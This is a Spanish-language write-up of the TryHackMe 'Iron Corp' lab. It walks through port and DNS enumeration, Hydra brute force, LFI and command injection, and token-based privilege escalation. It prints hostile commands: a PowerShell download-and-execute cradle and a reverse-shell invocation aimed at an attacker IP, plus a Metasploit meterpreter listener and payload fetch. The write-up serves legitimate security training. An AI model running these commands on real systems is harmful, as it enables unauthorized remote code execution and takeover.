This page looks best with JavaScript enabled

TryHackMe - Iron Corp

 •  ✍️ sckull

Iron Corp es una maquina de TryHackMe, enumeramos subdominios con dig, con Hydra realizamos ataque de contraseñas a uno de los subdominios donde encontramos una vulnerabilidad LFI y donde realizamos Command Injection para obtener acceso por medio de una shell en PowerShell. Escalamos privilegios utilizando Metasploit con Incognito y un token que encontramos.

Room

Titulo Iron Corp box_img_maker
Descripción Can you get access to Iron Corp’s system?
Puntos 160
Dificultad Dificil
Maker

MrSeth6797

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto http (8080), rdp (3889) y el puerto dns (53) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# Nmap 7.80 scan initiated Sat May  9 00:53:02 2020 as: nmap -Pn -T5 -p1-65535 -o scan_allports ironcorp.me
Nmap scan report for ironcorp.me (10.10.84.168)
Host is up (0.33s latency).
Not shown: 65528 filtered ports
PORT      STATE SERVICE
53/tcp    open  domain
135/tcp   open  msrpc
3389/tcp  open  ms-wbt-server
8080/tcp  open  http-proxy
11025/tcp open  unknown
49667/tcp open  unknown
49670/tcp open  unknown

# Nmap done at Sat May  9 01:00:44 2020 -- 1 IP address (1 host up) scanned in 462.74 seconds

# Nmap 7.80 scan initiated Sat May  9 01:12:08 2020 as: nmap -Pn -sV -sC -p53,135,3389,8080,11025,49667,49670 -o scan_allports_big ironcorp.me
Nmap scan report for ironcorp.me (10.10.84.168)
Host is up (0.17s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
135/tcp   open  msrpc         Microsoft Windows RPC
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: WIN-8VMBKF3G815
|   NetBIOS_Domain_Name: WIN-8VMBKF3G815
|   NetBIOS_Computer_Name: WIN-8VMBKF3G815
|   DNS_Domain_Name: WIN-8VMBKF3G815
|   DNS_Computer_Name: WIN-8VMBKF3G815
|   Product_Version: 10.0.14393
|_  System_Time: 2020-05-09T06:14:42+00:00
| ssl-cert: Subject: commonName=WIN-8VMBKF3G815
| Not valid before: 2020-04-12T18:27:11
|_Not valid after:  2020-10-12T18:27:11
|_ssl-date: 2020-05-09T06:14:55+00:00; 0s from scanner time.
8080/tcp  open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Dashtreme Admin - Free Dashboard for Bootstrap 4 by Codervent
11025/tcp open  http          Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.4.4)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.4.4
|_http-title: Coming Soon - Start Bootstrap Theme
49667/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=5/9%Time=5EB649C4%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May  9 01:14:55 2020 -- 1 IP address (1 host up) scanned in 167.13 seconds

HTTP 8080

En el puerto 8080 encontramos una pagina en la que vemos un dashboard.
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
root@upset:~/thm/ironcorp# gobuster dir -u http://ironcorp.me:8080/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/assets (Status: 301)
/calendar.html (Status: 200)
/forms.html (Status: 200)
/icons.html (Status: 200)
/index.html (Status: 200)
/index.html (Status: 200)
/Index.html (Status: 200)
/login.html (Status: 200)
/Login.html (Status: 200)
/profile.html (Status: 200)
/register.html (Status: 200)
root@upset:~/thm/ironcorp#

DIG - DNS Enumeration

Utilizamos DIG para obtener informacion de los DNS.
image

Hacemos una transferencia de zona y encontramos dos nuevos subdominios.
image

Nuevamente ejecutamos Gobuster en los nuevos dos subdominios y encontramos las mismas direcciones que en el dominio principal.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@upset:~/thm/ironcorp# gobuster dir -u http://internal.ironcorp.me:8080/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/assets (Status: 301)
/calendar.html (Status: 200)
/forms.html (Status: 200)
/icons.html (Status: 200)
/index.html (Status: 200)
/Index.html (Status: 200)
/index.html (Status: 200)
/login.html (Status: 200)
/Login.html (Status: 200)
/profile.html (Status: 200)
/register.html (Status: 200)
root@upset:~/thm/ironcorp# gobuster dir -u http://admin.ironcorp.me:8080/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/assets (Status: 301)
/calendar.html (Status: 200)
/forms.html (Status: 200)
/icons.html (Status: 200)
/index.html (Status: 200)
/Index.html (Status: 200)
/index.html (Status: 200)
/login.html (Status: 200)
/Login.html (Status: 200)
/profile.html (Status: 200)
/register.html (Status: 200)
root@upset:~/thm/ironcorp#

En los tres subdominios encontramos la misma pagina estatica.

HTTP 11025

En el puerto 11025 encontramos una pagina en la que vemos un formulario de email.
image

En el subdominio internal.ironcorp.me al parecer no tiene nada
image

En el subdominio admin.ironcorp.me una autenticacion basica
image

Nuevamente ejecutamos Gobuster en el dominio principal pero no encontramos nada interesante.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
root@upset:~/thm/ironcorp# gobuster dir -u http://ironcorp.me:11025/ -w /usr/share/wordlists/dirb/common.txt -q -t 50 -x php,html,txt,aspx,asp -s 200,301
/css (Status: 301)
/img (Status: 301)
/index.html (Status: 200)
/index.html (Status: 200)
/Index.html (Status: 200)
/js (Status: 301)
/license (Status: 200)
/LICENSE (Status: 200)
/vendor (Status: 301)
root@upset:~/thm/ironcorp#

HYDRA

Utilizamos hydra para realizar un ataque de fuerza bruta en el subdominio admin.ironcorp.me, logramos encontrar las credenciales.
image

LFI/Command Injection - Admin Area

En el subdominio en el que encontramos las credenciales al iniciar sesion nos muestra una pagina en la que contiene un input para realizar querys.
image

Al realizar alguna busqueda o query no nos devuelve ningun resultado, intentamos realizar un RFI mediante una shell php, asp, apsx, pero ninguna de estas funcionó, solamente nos trae el codigo fuente y lo muestra en la pagina más no lo ejecuta.

image

Intentamos leer archivos de sistema como index.php pero no logra obtener el archivo incluso utilizando localhost:11025/index.php, pero para poder obtener el codigo de esta pagina podemos utilizar el propio dominio y/o subdominio que tiene la maquina en su archivo c:\Windows\System32\Drivers\etc\hosts para que la propia maquina reconozca su subdominio y obtenga el codigo fuente.

Al hacer esto encontramos un subdominio que si funcionó y nos trajo el codigo fuente del index.php, donde nos muestra un mensaje.

image

Al dirigirnos a la direccion que nos muestra, al parecer no tenemos permisos para ver el archivo.

image

Le pasamos el dominio con la pagina para obtener su codigo fuente como la pagina de index.php anterior y logramos ver que el codigo se ejecuta y se muestra en la pagina, pero no nos muestra el codigo fuente.

image

Le pasamos un nombre como parametro y se muestra en la pagina.
image

Intentamos ejecutar codigos en la maquina con Command Injection utilizando shell scape. Logramos obtener la ejecucion de whoami y vemos que el usuario tiene permisos de super usuario (nt authority\system).

image

SHELL - Administrator

Utilizamos una de las shells que tiene nishang Invoke-PowerShellTcp.ps1, en nuestro archivo Invoke-PowerShellTcp.ps1 agregamos la siguiente linea al final del archivo para ejecutar nuestra shell inversa cuando este sea descargado, con la IP y el puerto al que se va a conectar.

1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.10 -Port 1338

El comando que vamos a ejecutar en la maquina es el siguiente, para ejecutar nuestra shell

1
powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.10.10/Invoke-PowerShellTcp.ps1')

Por alguna razon no acepta los espacios y hay que codificar nuestro comando dos veces para que se ejecute
image

Ejecutamos y logramos obtener nuestra shell
image

Y nuestra primera flag user.txt
image

PRIVILEGE ESCALATION

Utilizamos metasploit para conseguir una shell meterpreter utilizando un payload en powershell.

metasploit

msfconsole -x "use multi/handler;set payload windows/x64/meterpreter/reverse_tcp; set lhost tun0; set lport 1337; set ExitOnSession false; exploit -j"

shell

powershell -command "& { iwr 10.10.10.10/meterpreter-64.ps1 -OutFile C:\Users\Administrator\Desktop\meterpreter-64.ps1 }"
Import-Module .\meterpreter-64.ps1

Logramos obtener una sesion en meterpreter y los hashes de los usuarios :)
image

Pero lastimosamente no podemos utilizar estas credenciales ya que no existe algun servicio en donde podamos utilizarlas, es por eso que utilizamos incognito para poder obtener los tokens del usuario Admin, utilizarlas y obtener nuestra flag root.txt y una shell con ese usuario.

Listamos las tokens y las utilizamos.
image
image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe